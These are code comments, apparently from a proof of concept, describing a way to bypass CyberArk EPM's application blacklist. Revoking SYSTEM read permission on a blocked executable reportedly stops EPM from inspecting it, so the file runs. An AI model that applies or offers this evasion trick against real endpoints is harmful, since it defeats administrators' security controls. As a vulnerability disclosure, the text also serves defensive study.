//If user needs admin privileges, CyberArk gives the admin token to user for spesific process not for the whole system. It is cool idea.
//This product also has a function called “Application Blacklist”. You probably know what that means.
//It helps you to block to execute specified application by CyberArk admin. In normal cases, you can not be able to start this process even with admin rights.
//But We found very interesting trick to make CyberArk blind completely.All you need to do, revoke read privileges for system on the file that you want to open it.
//After you do that, CyberArk EPM can not be able to get information about your blocked file and it just let them execute
